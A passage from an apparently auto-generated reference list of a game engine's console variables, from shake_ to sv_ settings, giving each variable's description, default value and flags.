+shake_basicRandomRollFactor + + + +default: `"0.15"` +flags: `0x2` +
+
+shake_offsetFactor_human + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_offsetFactor_titan + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_viewmodelFactor_ads_human + + + +default: `"0.01"` +flags: `0x2` +
+
+shake_viewmodelFactor_ads_titan + + + +default: `"0.10"` +flags: `0x2` +
+
+shake_viewmodelFactor_human + + + +default: `"0.10"` +flags: `0x2` +
+
+shake_viewmodelFactor_titan + + + +default: `"0.10"` +flags: `0x2` +
+
+showfps_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+showfps_heightpercent + + + +default: `"0.25"` +flags: `0x2` +
+
+showfps_mouse_latency + +If 1 showfps_enabled will show mouse input latency instead of the time from before the move command. + +default: `"1"` +flags: `0x2` +
+
+showfps_smoothtime + + + +default: `"0.5"` +flags: `0x2` +
+
+showfps_spinner + + + +default: `"0"` +flags: `0x2` +
+
+showmem_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+showmem_mode_bottom + +Mode 0 is total free memory(excluding garlic), 1 is small block heap, 2 is Client Script, 3 is UI Script + +default: `"3"` +flags: `0x80000` +
+
+showmem_mode_top + +Mode 0 is total free memory(excluding garlic), 1 is small block heap, 2 is Client Script, 3 is UI Script + +default: `"0"` +flags: `0x80000` +
+
+showmemnumstats + +Display On-Screen Numerical Memory Information + +default: `"0"` +flags: `0x2` +min value: `0` +
+
+showmemnumstatsrefresh + +Refresh rate of querying the os for memory information in milliseconds. + +default: `"500"` +flags: `0x2` +min value: `0` +
+
+shownet_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+showsnapshot_enabled + + + +default: `"0"` +flags: `0x80000` +
+
+sidearmSwapSelectCooldown + + + +default: `"0.25"` +flags: `0x2` +
+
+sidearmSwapSelectDoubleTapTime + + + +default: `"0.25"` +flags: `0x2` +
+
+single_frame_shutdown_for_reload + + + +default: `"1"` +flags: `0x2` +
+
+singlestep + +Run engine in single step mode ( set next to 1 to advance a frame ) + +default: `"0"` +flags: `0x4000` +
+
+skill_arena + +The arena that skill should be read from / written to (eg. fnf, experimental, etc) + +default: `""` +flags: `0x2` +
+
+skill_dediOnly + +Only do skill for dedicated servers + +default: `"0"` +flags: `0x2` +
+
+skill_enabled + + + +default: `"1"` +flags: `0x2` +
+
+skill_hostname + + + +default: `""` +flags: `0x80000` +
+
+skip_jump_height_fraction + +Jump height fraction when skipping + +default: `"1.0"` +flags: `0x2002` +
+
+skip_jump_height_speed + +Jump height loss only applies above this speed + +default: `"450"` +flags: `0x2002` +
+
+skip_replenish_double_jump + +Whether the player can double jump after skipping + +default: `"1"` +flags: `0x2002` +
+
+skip_sounds + +Enables skip-specific sounds + +default: `"0"` +flags: `0x2002` +
+
+skip_speed_reduce + +Speed lost when skipping + +default: `"100"` +flags: `0x2002` +
+
+skip_speed_retain + +Speed loss doesn't go below this + +default: `"-1"` +flags: `0x2002` +
+
+skip_time + +Time after landing that is considered "skipping" if the player jumps again + +default: `"1.0"` +flags: `0x2002` +
+
+sleep_when_meeting_framerate + +Sleep instead of spinning if we're meeting the desired framerate. + +default: `"1"` +flags: `0x2` +
+
+sleep_when_meeting_framerate_headroom_ms + +Only sleep if the current frame has at least this much time remaining, otherwise spin. + +default: `"2.25"` +flags: `0x2` +
+
+slide_auto_stand + +Automatically stand when slide ends + +default: `"0"` +flags: `0x2002` +
+
+slide_max_angle_dot + +Cosine of max angle from forward that you can slide when sprinting + +default: `"0.6"` +flags: `0x2002` +
+
+slide_step_velocity_reduction + +Velocity reduction when going up a step (is multiplied by step height) + +default: `"10"` +flags: `0x2002` +
+
+slide_viewTiltDecreaseSpeed + +Speed at which view tilt decreases while sliding in degrees per second + +default: `"2.5"` +flags: `0x2` +
+
+slide_viewTiltIncreaseSpeed + +Speed at which view tilt increases while sliding in degrees per second + +default: `"5"` +flags: `0x2` +
+
+slide_viewTiltPlayerSpeed + +Speed at which view tilt is full while sliding + +default: `"400"` +flags: `0x2` +
+
+slide_viewTiltSide + +View tilt when looking to the side while sliding in degrees + +default: `"15"` +flags: `0x2` +
+
+slide_whileInAir + +Allows beginning a slide (including the boost) while still in the air + +default: `"0"` +flags: `0x2002` +
+
+slowconsolelog_old_logic + +Flush console.log after each write. + +default: `"0"` +flags: `0x2` +
+
+smoothstairs_lunge + + + +default: `"0"` +flags: `0x2002` +
+
+sort_opaque_meshes + +Sort opaque meshes front to back to try to improve rendering speed. This may not be worth the CPU cost. + +default: `"0"` +flags: `0x2` +
+
+sound_classic_music + +classic music volume + +default: `"0"` +flags: `0x1000000` +
+
+sound_entity_seek_snap + +Play C_ImporantOnEntSound entity sound from beginning if we get it within this many seconds of its begin time. + +default: `"1.0"` +flags: `0x2` +
+
+sound_musicReduced + + + +default: `"0"` +flags: `0x1000000` +
+
+sound_num_speakers + +2 - headphones or stereo, 6 - 5.1 surround, 8 - 7.1 surround. All other values invalid + +default: `"2"` +flags: `0x80` +
+
+sound_only_warn_on_missing_sound_events_in_client_script + + + +default: `"1"` +flags: `0x2` +
+
+sound_printloaderrors + +Set to 1 to print sound errors on load. + +default: `"1"` +flags: `0x2` +
+
+sound_volume + +master game volume + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_dialogue + +dialogue volume (mp) + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_dialogue_sp + +dialogue volume (sp) + +default: `"1"` +flags: `0x2` +
+
+sound_volume_music_game + +music volume in game (mp) + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_music_game_sp + +music volume in game (sp) + +default: `"1"` +flags: `0x2` +
+
+sound_volume_music_lobby + +music volume in lobby + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_sfx + +sound effect volume (mp) + +default: `"1"` +flags: `0x1000000` +
+
+sound_volume_sfx_sp + +sound effect volume (sp) + +default: `"1"` +flags: `0x2` +
+
+sound_volume_voice + +voice chat volume + +default: `"1"` +flags: `0x80` +
+
+sound_without_focus + +Play sounds even when the app doesn't have focus. + +default: `"0"` +flags: `0x1000000` +
+
+soundscape_fadetime + +Time to crossfade sounds between soundscapes + +default: `"2.0"` +flags: `0x4000` +
+
+soundscape_message + + + +default: `"0"` +flags: `0x2` +
+
+soundscape_radius_debug + +Prints current volume of radius sounds + +default: `"0"` +flags: `0x4000` +
+
+soundtrigger_repeat_interval + +Decides how long to wait before repeating a soundtrigger event on the given player. Set to 0 to wait until the current sound ends. + +default: `"0"` +flags: `0x2` +
+
+sp_not_focus_pause + +Pause the singleplayer game when the window is not in focus + +default: `"1"` +flags: `0x2` +
+
+spam_skinning_matrices_used + + + +default: `"0"` +flags: `0x2` +
+
+spam_skinning_matrices_used_detailed + + + +default: `"0"` +flags: `0x2` +
+
+spatial_partition_deadlock_assert + + + +default: `"1"` +flags: `0x2002` +
+
+spectator_command_interval + +Specify the minimum time between spectator command. + +default: `"0"` +flags: `0x2` +
+
+speech_queue_bytes + + + +default: `"33000"` +flags: `0x2` +
+
+speechtotext_audioenabled + + + +default: `"0"` +flags: `0x2` +
+
+speechtotext_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+speechtotext_forcedisabled + + + +default: `"0"` +flags: `0x2` +
+
+speechtotext_hostname + + + +default: `"gateway-wdc.watsonplatform.net"` +flags: `0x2` +
+
+speechtotext_msg_droptimeout + + + +default: `"30.0"` +flags: `0x2` +
+
+speechtotext_path + + + +default: `"speech-to-text/api/v1/recognize?profanity_filter=true&smart_formatting=true"` +flags: `0x2` +
+
+speechtotext_quiettime + + + +default: `"1.0"` +flags: `0x2` +
+
+speechtotext_stats_errorspermin + + + +default: `"5"` +flags: `0x2` +
+
+speechtotext_stats_interval + + + +default: `"60.0"` +flags: `0x2` +
+
+speechtotext_stats_senderrors + + + +default: `"1"` +flags: `0x2` +
+
+speechtotext_stats_sendrequests + + + +default: `"1"` +flags: `0x2` +
+
+speechtotext_stats_sendsuccess + + + +default: `"1"` +flags: `0x2` +
+
+speechtotexttoken_hostname + + + +default: `""` +flags: `0x80000` +
+
+speex_audio_recording + + + +default: `"0"` +flags: `0x2` +
+
+speex_audio_value + + + +default: `"0"` +flags: `0x2` +
+
+speex_preprocess_agc_max_gain + +Set maximal gain in dB. ( High values Risks swamping noise filter) + +default: `"13"` +flags: `0x2` +
+
+speex_preprocess_noise_suppress + +Set maximum attenuation of the noise in dB (negative number) + +default: `"-20"` +flags: `0x2` +
+
+speex_preprocess_set_agc_decrenment + +Set maximal gain decrease in dB/second. + +default: `"-10"` +flags: `0x2` +
+
+speex_preprocess_set_agc_increment + +Set maximal gain increase in dB/second. + +default: `"1"` +flags: `0x2` +
+
+speex_preprocess_set_agc_target + +Set Automatic Gain Control target. 0/32767 + +default: `"8000"` +flags: `0x2` +
+
+speex_quiet_threshold + + + +default: `"1300"` +flags: `0x80` +
+
+speex_quiet_window + + + +default: `"40"` +flags: `0x2` +
+
+speex_set_enh + +Set enhancement on/off (decoder only) + +default: `"1"` +flags: `0x2` +
+
+speex_use_highpass + +Controlls the running o a lowpass filter do help remove DC. + +default: `"1"` +flags: `0x2` +
+
+speex_use_preproser + +Controls the running of voice preprocessor. + +default: `"1"` +flags: `0x2` +
+
+spinner_debug_info + + + +default: `"0"` +flags: `0x2` +
+
+sprint_powerdrain + + + +default: `"0"` +flags: `0x2002` +
+
+sprint_view_shake_style + + + +default: `"0"` +flags: `0x41000000` +
+
+sprinttilt_accel + +Acceleration of sprint view tilt fraction + +default: `"35"` +flags: `0x2002` +
+
+sprinttilt_maxvel + +Maximum speed of sprint view tilt + +default: `"2"` +flags: `0x2002` +
+
+sprinttilt_turnrange + +Max turn rate that creates view tilt when sprinting + +default: `"120"` +flags: `0x2002` +
+
+ss_enable + +Enables Split Screen support. Play Single Player now launches into split screen mode. NO ONLINE SUPPORT + +default: `"0"` +flags: `0x2` +
+
+ss_force_primary_fullscreen + +If enabled, all splitscreen users will only see the first user's screen full screen + +default: `"0"` +flags: `0x2` +
+
+ss_mimic + +Split screen users mimic base player's CUserCmds + +default: `"0"` +flags: `0x4002` +
+
+ss_splitmode + +Two player split screen mode (0 - recommended settings base on the width, 1 - horizontal, 2 - vertical (only allowed in widescreen) + +default: `"0"` +flags: `0x2` +
+
+ss_verticalsplit + +Two player split screen uses vertical split (do not set this directly, use ss_splitmode instead). + +default: `"0"` +flags: `0x2` +
+
+ss_viewmodelfov + +Client-side viewmodel fov control that is global for all splitscreen players on this machine. This gets overridden via splitscreen_config.txt for splitscreen. + +default: `"54"` +flags: `0x2002` +
+
+ss_voice_hearpartner + +Route voice between splitscreen players on same system. + +default: `"0"` +flags: `0x2` +
+
+ssao_allow_partial + +When it's enabled, Partial SSAO could run when dynamic viewport is smaller than SSAO targets. +It doesn't look good and has a problem of some flickering. Try it with viewportscale_rand to see the problem. + +default: `"0"` +flags: `0x2` +
+
+ssao_blur + + + +default: `"1"` +flags: `0x2` +
+
+ssao_blur_edge_sharpness + + + +default: `"0"` +flags: `0x2` +
+
+ssao_depth_max + + + +default: `"10000"` +flags: `0x2` +
+
+ssao_downsample + +0 = 1:1, 1 = 2:1, 2 = 4:1 + +default: `"0"` +flags: `0x40000000` +
+
+ssao_enabled + + + +default: `"1"` +flags: `0x40000000` +
+
+ssao_exponent + + + +default: `"1.5"` +flags: `0x2` +
+
+ssao_jitter_scale + +in range of [0,1] + +default: `"0.5"` +flags: `0x2` +
+
+ssao_max_res + +SSAO render target size will be enforced to be this size when it's going to be ssao_max_res_threshold or greater + +default: `"1080"` +flags: `0x2` +
+
+ssao_max_res_threshold + +ssao_max_res is enforced when SSAO render target size is at this size or greater + +default: `"1440"` +flags: `0x2` +
+
+ssao_num_directions + + + +default: `"8"` +flags: `0x2` +
+
+ssao_num_steps + + + +default: `"4"` +flags: `0x2` +
+
+ssao_on_everything + + + +default: `"0"` +flags: `0x2` +
+
+ssao_radius + +occlusion hemisphere radius in world space unit + +default: `"118"` +flags: `0x2` +
+
+ssao_radius_in_lobby + +occlusion hemisphere radius in world space unit + +default: `"4"` +flags: `0x2` +
+
+ssao_show + + + +default: `"0"` +flags: `0x2` +
+
+ssao_show + + + +default: `"0"` +flags: `0x2` +
+
+ssao_show + + + +default: `"0"` +flags: `0x2` +
+
+ssao_snap_uv + + + +default: `"1"` +flags: `0x2` +
+
+ssao_tech + +0 = Off, 1 = HBAO, 2 = GTAO uni, 3 = GTAO cos, 4 = HBAO basic, 5 = HBAO1x1, 6 = GTAOuni1x1, 7 = GTAOcos1x1 + +default: `"2"` +flags: `0x2` +
+
+ssao_tech + +0 = Off, 1 = HBAO, 2 = GTAO uni, 3 = GTAO cos, 4 = HBAO basic, 5 = HBAO1x1, 6 = GTAOuni1x1, 7 = GTAOcos1x1 + +default: `"2"` +flags: `0x2` +
+
+ssao_upsample_ranged + +It improves downsampled SSAO quality. it works for GTAO 4x4 mode only. + +default: `"1"` +flags: `0x2` +
+
+startButtonCommand + +What command to send when start is pressed + +default: `"ingamemenu_activate"` +flags: `0x2` +
+
+staticProp_budget + +The maximum number of static props that will be drawn. + +default: `"8192"` +flags: `0x2` +min value: `100` +max value: `8192` +
+
+staticProp_buildlists_on_worker + + + +default: `"0"` +flags: `0x2` +
+
+staticProp_debug_draw + +Orange - regular culled prop. Red - "do not fade" prop Green - out of range + +default: `"0"` +flags: `0x2` +
+
+staticProp_earlyDepthPrepass + + + +default: `"1"` +flags: `0x2` +
+
+staticProp_gather_size_weight + + + +default: `"5"` +flags: `0x2` +
+
+staticProp_max_scaled_dist + + + +default: `"2500"` +flags: `0x2` +
+
+staticProp_no_fade_scalar + + + +default: `"0.7"` +flags: `0x2` +
+
+staticProp_refineDrawOnWorker + +0 - none, 1 - mainview, 2 - depth-prepass, 3 - mainview & depth-prepass + +default: `"3"` +flags: `0x2` +
+
+static_prop_dist_debug_draw + + + +default: `"0"` +flags: `0x2` +
+
+static_shadow + +0 : off, 1 : generate once, 2 : minimum update with cache, 3 : update dirty rects with cache, 4 : update dirty rects without cache, 5 : always refresh + +default: `"3"` +flags: `0x2` +
+
+static_shadow + +0 : off, 1 : generate once, 2 : minimum update with cache, 3 : update dirty rects with cache, 4 : update dirty rects without cache, 5 : always refresh + +default: `"3"` +flags: `0x2` +
+
+static_shadow_bounds_per_env + +0 - use world min/max, 1 - use current light environment's head box + +default: `"1"` +flags: `0x2` +
+
+static_shadow_debug_2d + + + +default: `"0"` +flags: `0x2` +
+
+static_shadow_debug_dirty_rects + +only works with static_shadow_debug_2d = 1 + +default: `"0"` +flags: `0x2` +
+
+static_shadow_depth_bias_scale + +only effective on materials with non-zero shadowBiasStatic values + +default: `"1"` +flags: `0x2` +
+
+static_shadow_expand_z + +z range should be inflated to be able to cover flying objects higher than world min/max + +default: `"30000"` +flags: `0x2` +
+
+static_shadow_good_merge_ratio + +merge ratio = merged extent / bigger one's extent. when merge ratio is less than this value, the pair can be merged even when merged extent > m_StaticShadowMaxExtentForDirtyRect + +default: `"1.01"` +flags: `0x2` +
+
+static_shadow_good_merge_score + +score = merged extent + wasted extent, where 4.0 is full screen + +default: `"0.1"` +flags: `0x2` +
+
+static_shadow_prop_min_size + +Minimum size of prop to be drawn in static shadow + +default: `"40.0"` +flags: `0x2` +
+
+static_shadow_res + +Set the static shadow maps rendertarget resolution + +default: `"4096"` +flags: `0x2` +
+
+static_shadow_shrink_culler + + + +default: `"1"` +flags: `0x2` +
+
+static_shadow_use_d16 + + + +default: `"1"` +flags: `0x2` +
+
+static_shadow_uses_shadow_lod + + + +default: `"1"` +flags: `0x2` +
+
+staticfile_hostname + + + +default: `""` +flags: `0x80000` +
+
+stats_hostname + + + +default: `""` +flags: `0x80000` +
+
+status_effect_warning_level + +Set to 0 for nothing, 1 for warnings, 2 for script errors + +default: `"1"` +flags: `0x2002` +
+
+steam_debug + +Enable Steam HTTP debug logging + +default: `"0"` +flags: `0x2` +
+
+steam_environment + + + +default: `"production"` +flags: `0x80000` +
+
+steam_id + + + +default: `""` +flags: `0x12` +
+
+steam_name + + + +default: `""` +flags: `0x12` +
+
+steam_presence_updateRate + +Minimum time between steam updates in seconds. + +default: `"1"` +flags: `0x2` +
+
+steam_spoofPCInGetUserInfo + + + +default: `"1"` +flags: `0x2` +
+
+steamlink_hostname + + + +default: `""` +flags: `0x2` +
+
+stream_addnoise + +Adds corruption to streamed-in MIP levels for debugging. + +default: `"0"` +flags: `0x2` +
+
+stream_bsp_bucket_bias + +Tweak MIP of BSP coverage (higher = blurrier mips) + +default: `"-0.5"` +flags: `0x2` +
+
+stream_bsp_dist_scale + +Scale BSP coverage (relative to models) (higher = more important) + +default: `"100"` +flags: `0x2` +
+
+stream_cache_capacity_animseq + +Stream Cache Capacity in MiB + +default: `"25"` +flags: `0x2` +
+
+stream_cache_capacity_mdl + +Stream Cache Capacity in MiB + +default: `"400"` +flags: `0x2` +
+
+stream_cache_capacity_while_loading + +Stream Cache Capacity in MiB while loading, if < 0 will be ignored. + +default: `"200"` +flags: `0x2` +
+
+stream_cache_high_priority_animations + +Try never to drop (and always prioritize loading) animations. + +default: `"1"` +flags: `0x2` +
+
+stream_cache_high_priority_static_models + +Try never to drop (and always prioritize loading) static model geo. + +default: `"1"` +flags: `0x2` +
+
+stream_cache_multithreaded + +Use jobs to do upload for model geo. + +default: `"1"` +flags: `0x2` +
+
+stream_cache_preload_from_rpak + +0 = Never preload; 1 = Preload static models + +default: `"1"` +flags: `0x2` +
+
+stream_cache_read_buffer_cap + +Concurrent read buffer capacity in MiB. + +default: `"32"` +flags: `0x2` +
+
+stream_cache_read_count_cap + +Concurrent read limit. + +default: `"24"` +flags: `0x2` +
+
+stream_cache_speculative_add_level_animseq + +Attempt to add models to reach this fraction of stream_cache_capacity. + +default: `"0.20"` +flags: `0x2` +
+
+stream_cache_speculative_add_level_mdl + +Attempt to add models to reach this fraction of stream_cache_capacity. + +default: `"0.75"` +flags: `0x2` +
+
+stream_cache_speculative_drop_animseq + +Attempt to drop models to reach this fraction of stream_cache_capacity. + +default: `"0.8"` +flags: `0x2` +
+
+stream_cache_speculative_drop_mdl + +Attempt to drop models to reach this fraction of stream_cache_capacity. + +default: `"0.9"` +flags: `0x2` +
+
+stream_drop_unused + +Drop unused textures aggressively + +default: `"0"` +flags: `0x2` +
+
+stream_enable + +Enable texture streaming + +default: `"1"` +flags: `0x2` +
+
+stream_freeze_camera + +Freezes camera for purposes of streaming map textures. + +default: `"0"` +flags: `0x2` +
+
+stream_load_after_drop + +Allow us to continue loading in a frame after dropping any textures. + +default: `"0"` +flags: `0x2` +
+
+stream_memory + +Stream memory to target (in kb). + +default: `"300000"` +flags: `0x40000000` +
+
+stream_memory_ignore + +Ignore stream_memory limit when streaming is enabled. + +default: `"0"` +flags: `0x40000002` +
+
+stream_memory_ignore_vram + +Ignore vram size when setting streaming buffer size. + +default: `"0"` +flags: `0x2` +
+
+stream_memory_min + +Minimum streaming memory (in kb). + +default: `"0"` +flags: `0x40000000` +
+
+stream_memory_while_loading + +Stream memory to target (in kb). + +default: `"0"` +flags: `0x2` +
+
+stream_mode + +Stream mode: default all none + +default: `"default"` +flags: `0x40000002` +
+
+stream_never_high_priority_frac + +Never assign 'high priority' to a texture that uses more than this fraction of total streaming buffer. + +default: `"0.0125"` +flags: `0x2` +
+
+stream_overlay + +Texture streaming debug overlay. + +default: `"0"` +flags: `0x2` +
+
+stream_overlay_mode + +Which debug view to show (tex mtl bsp short) + +default: `"short"` +flags: `0x2` +
+
+stream_pause + +Pause texture streaming + +default: `"0"` +flags: `0x2` +
+
+stream_picmip + +Picmip used when stream mode is picmip. (Or the map doesn't have streaming data.) + +default: `"2"` +flags: `0x2` +
+
+stream_resource_max_commits_per_frame + +Cap on number of streaming texture commits allowed in a GPU frame. (0 disables cap) + +default: `"2"` +flags: `0x2` +
+
+stream_resource_thread + +Create resources on separate thread, and delay copy and binding of those resources. + +default: `"1"` +flags: `0x2` +
+
+stream_resource_wait_copy_to_commit + +Number of frames to wait between copying old texture data and actually using a new texture. + +default: `"0"` +flags: `0x2` +
+
+stream_resource_wait_creation_to_copy + +Number of frames to wait between creating a texture and copying old texture data in. + +default: `"0"` +flags: `0x2` +
+
+stream_resource_wait_for_additional_gpus + +Enable to reset the commit counter less frequently when you have multiple GPUs. + +default: `"1"` +flags: `0x2` +
+
+stream_temp_abort_old_inner_loop + +Temp stability - don't check for IST_ABORTED before calling Gfx_TextureAsset_EndAddMipLevels_Failed + +default: `"0"` +flags: `0x2` +
+
+stream_temp_old_abort_all_behavior + +Temp stability - StreamedDataManager_AbortStreamingTexture( true ) has broken (abort just one) behavior. + +default: `"0"` +flags: `0x2` +
+
+stream_temp_skip_abort_all + +Temp stability - call to StreamedDataManager_AbortStreamingTexture( true ) does nothing + +default: `"0"` +flags: `0x2` +
+
+stringtable_alwaysrebuilddictionaries + +Rebuild dictionary file on every level load + + +default: `"0"` +flags: `0x2` +
+
+stringtable_compress + +Compress string table for networking + + +default: `"0"` +flags: `0x2` +
+
+stringtable_showsizes + +Show sizes of string tables when building for signon + + +default: `"0"` +flags: `0x2` +
+
+stryder_forceOriginUsersInvisible + + + +default: `"0"` +flags: `0x2` +
+
+stryder_security + + + +default: `""` +flags: `0x80000200` +
+
+stuck_debugging + +Debug getting stuck + +default: `"0"` +flags: `0x2002` +
+
+stuck_debugging_world_only + +Only check for stuck in world geo + +default: `"0"` +flags: `0x2002` +
+
+studiobonecache_unlimited + + + +default: `"1"` +flags: `0x2002` +
+
+subscription_hostname + + + +default: `""` +flags: `0x2` +
+
+superjump_disabled_from_water + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_drain_power_onfail + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_fail_sound_when_jump_limit + + + +default: `"1"` +flags: `0x2002` +
+
+superjump_limit + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_limitreset_onwallrun + + + +default: `"1"` +flags: `0x2002` +
+
+superjump_max_power_use + + + +default: `"100"` +flags: `0x2002` +
+
+superjump_min_height_fraction + +Minimum fraction of desired superjump height that is acheived, even if already moving quickly upwards + +default: `"0.25"` +flags: `0x2002` +
+
+superjump_min_power_use + + + +default: `"0"` +flags: `0x2002` +
+
+superjump_powerreset_onground + + + +default: `"1"` +flags: `0x2002` +
+
+sv_airaccelerate + + + +default: `"10"` +flags: `0x2002` +
+
+sv_allTicksFinal + + + +default: `"0"` +flags: `0x2` +
+
+sv_allowSendTableTransmitToClients + +Allow transmission of sendtable data to clients. + +default: `"1"` +flags: `0x2` +
+
+sv_allowSpectatorClients + + + +default: `"0"` +flags: `0x2` +
+
+sv_asyncSendSnapshot + + + +default: `"0"` +flags: `0x2` +
+
+sv_backspeed + +How much to slow down backwards motion + +default: `"0.6"` +flags: `0x2002` +
+
+sv_balanceTeams + + + +default: `"1"` +flags: `0x2` +
+
+sv_bounce + +Bounce multiplier for when physically simulated objects collide with other objects. + +default: `"0"` +flags: `0x2002` +
+
+sv_cheats + +Allow cheats on server + +default: `"0"` +flags: `0x82000` +
+
+sv_checkPropBudgets + + + +default: `"1"` +flags: `0x2` +
+
+sv_compressPlaylists + + + +default: `"1"` +flags: `0x2` +
+
+sv_compressTimeValEpsilon + + + +default: `"0.0005"` +flags: `0x2` +
+
+sv_compressTimeVals + + + +default: `"1"` +flags: `0x2` +
+
+sv_connectingClientDelay + +Amount of time to wait between resends of data to a connecting client + +default: `"3"` +flags: `0x2` +
+
+sv_debug_prop_send + + + +default: `"0"` +flags: `0x2` +
+
+sv_debugmanualmode + +Make sure entities correctly report whether or not their network data has changed. + +default: `"0"` +flags: `0x2` +
+
+sv_disconnectOnScriptError + + + +default: `"1"` +flags: `0x2` +
+
+sv_disconnectOnTooManySnapshotFrames + +Disconnect client when the server has sent 128 snapshot messages to client without the server getting any message from the client. + +default: `"1"` +flags: `0x2` +
+
+sv_dumpstringtables + + + +default: `"0"` +flags: `0x4000` +
+
+sv_earlyPersistenceRead + +Should the server try to read persistence earlier in the connection process + + +default: `"0"` +flags: `0x80000` +
+
+sv_everyThirdTick + +Do networking every third tick, regardless of how backed up we are + + +default: `"0"` +flags: `0x2` +
+
+sv_extra_client_connect_time + +Seconds after client connect during which extra frames are buffered to prevent non-delta'd update + +default: `"60.0"` +flags: `0x2` +
+
+sv_fakeClientBaseId + +Base platform user ID for created fake clients. Useful, for example, when running multiple dedis with matchmaking bots; create a different base for each dedi to get unique IDs -- matchmaking uses user IDs as a primary key. + +default: `"9990000"` +flags: `0x26` +
+
+sv_footsteps + +Play footstep sound for players + +default: `"1"` +flags: `0x2002` +
+
+sv_friction + +World friction. (Equivalent player setting is in player settings files) + +default: `"4"` +flags: `0x2002` +
+
+sv_gravity + +World gravity. + +default: `"750"` +flags: `0x2002` +
+
+sv_hibernate_ms + +# of milliseconds to sleep per frame while hibernating + +default: `"5"` +flags: `0x2` +
+
+sv_hibernate_ms_vgui + +# of milliseconds to sleep per frame while hibernating but running the vgui dedicated server frontend + +default: `"5"` +flags: `0x2` +
+
+sv_hibernate_postgame_delay + +# of seconds to wait after final client leaves before hibernating. + +default: `"5"` +flags: `0x2` +
+
+sv_hibernate_when_empty + +Puts the server into extremely low CPU usage mode when no clients connected + +default: `"0"` +flags: `0x2` +
+
+sv_infinite_ammo + + + +default: `"0"` +flags: `0x2002` +
+
+sv_instancebaselines + +Enable instanced baselines. Saves network overhead. + +default: `"1"` +flags: `0x2` +
+
+sv_loadMapModelEarly + + + +default: `"0"` +flags: `0x2` +
+
+sv_lobbyType + + + +default: `"0"` +flags: `0x2002` +
+
+sv_max_prop_data_dwords_lobby + +Maximum amount of prop data per-snapshot in dwords (huge lobby) + +default: `"300000"` +flags: `0x2` +
+
+sv_max_prop_data_dwords_multiplayer + +Maximum amount of prop data per-snapshot in dwords (huge multiplayer) + +default: `"2500000"` +flags: `0x2` +
+
+sv_max_prop_data_dwords_singleplayer + +Maximum amount of prop data per-snapshot in dwords (singleplayer) + +default: `"400000"` +flags: `0x2` +
+
+sv_max_props_lobby + +Maximum amount of props per-snapshot (lobby) + +default: `"250000"` +flags: `0x2` +
+
+sv_max_props_multiplayer + +Maximum number of props per-snapshot (huge multiplayer) + +default: `"1250000"` +flags: `0x2` +
+
+sv_max_props_singleplayer + +Maximum number of props per-snapshot (singleplayer) + +default: `"300000"` +flags: `0x2` +
+
+sv_max_snapshots_lobby + +Maximum number of snapshots for the lobby + +default: `"100"` +flags: `0x2` +
+
+sv_max_snapshots_multiplayer + +Maximum number of snapshots for multiplayer levels + +default: `"160"` +flags: `0x2` +
+
+sv_max_snapshots_singleplayer + +Maximum number of snapshots for singleplayer levels + +default: `"10"` +flags: `0x2` +
+
+sv_maxclientframes + + + +default: `"300"` +flags: `0x2` +
+
+sv_maxrate + +Max bandwidth rate allowed on server, 0 == unlimited + +default: `"0"` +flags: `0x82000` +min value: `0` +max value: `1000000000` +
+
+sv_maxroutable + +Server upper bound on net_maxroutable that a client can use. + +default: `"1200"` +flags: `0x2` +min value: `576` +max value: `1200` +
+
+sv_maxspeed + + + +default: `"320"` +flags: `0x2002` +
+
+sv_maxupdaterate + +Maximum updates per second that the server will allow + +default: `"60"` +flags: `0x2002` +
+
+sv_maxvelocity + +Maximum speed any ballistically moving object is allowed to attain per axis. + +default: `"34000"` +flags: `0x2002` +
+
+sv_minrate + +Min bandwidth rate allowed on server, 0 == unlimited + +default: `"128000"` +flags: `0x82000` +min value: `0` +max value: `1000000000` +
+
+sv_minupdaterate + +Minimum updates per second that the server will allow + +default: `"1"` +flags: `0x2002` +
+
+sv_optimizedmovement + + + +default: `"1"` +flags: `0x2002` +
+
+sv_parallel_sendsnapshot + + + +default: `"1"` +flags: `0x2` +
+
+sv_pausable + +Whether the server is allowed to pause + +default: `"0"` +flags: `0x4000` +
+
+sv_playerNameAppendCheater + + + +default: `"1"` +flags: `0x2` +
+
+sv_players + + + +default: `"1"` +flags: `0x2012` +
+
+sv_printHighWaterMark + + + +default: `"0"` +flags: `0x2` +
+
+sv_pushaway_accel + +How hard physics objects are pushed away from the players. + +default: `"400"` +flags: `0x2002` +
+
+sv_pushaway_clientside + +Clientside physics push away (0=off, 1=only localplayer, 2=all players) + +default: `"2"` +flags: `0x2002` +
+
+sv_pushaway_clientside_size + +Physics props below this size are made client side + +default: `"1000"` +flags: `0x2002` +
+
+sv_pushaway_debug + +Debug physics object pushaway + +default: `"0"` +flags: `0x2002` +
+
+sv_pushaway_dist + +Max distance at which physics objects are pushed from players. + +default: `"15"` +flags: `0x2002` +
+
+sv_pushaway_min_player_speed + +If a player is moving slower than this, don't push away physics objects (enables ducking behind things). + +default: `"75"` +flags: `0x2002` +
+
+sv_pushaway_player_accel + +How hard the player is pushed away from physics objects + +default: `"3000"` +flags: `0x6002` +
+
+sv_pushaway_player_dist + +Max distance at which player is pushed from physics objects + +default: `"5"` +flags: `0x6002` +
+
+sv_rejectClientConnects + + + +default: `"0"` +flags: `0x2` +
+
+sv_rejectConnections + + + +default: `"0"` +flags: `0x2` +
+
+sv_rejectInvalidStryderSecurityToken + + + +default: `"1"` +flags: `0x22` +
+
+sv_requireOriginToken + + + +default: `"1"` +flags: `0x2` +
+
+sv_resendSignonData + + + +default: `"0"` +flags: `0x2` +
+
+sv_rollangle + +Max view roll angle + +default: `"0"` +flags: `0x2002` +
+
+sv_rollspeed + + + +default: `"200"` +flags: `0x2002` +
+
+sv_runSpatialOptimizeInJob + + + +default: `"1"` +flags: `0x2` +
+
+sv_scarySnapDeltaPrints + + + +default: `"50"` +flags: `0x2` +
+
+sv_sendEarlyServerInfo + + + +default: `"0"` +flags: `0x2` +
+
+sv_sendReplayNetMessagesOnNoDeltaSnaps + + + +default: `"0"` +flags: `0x2` +
+
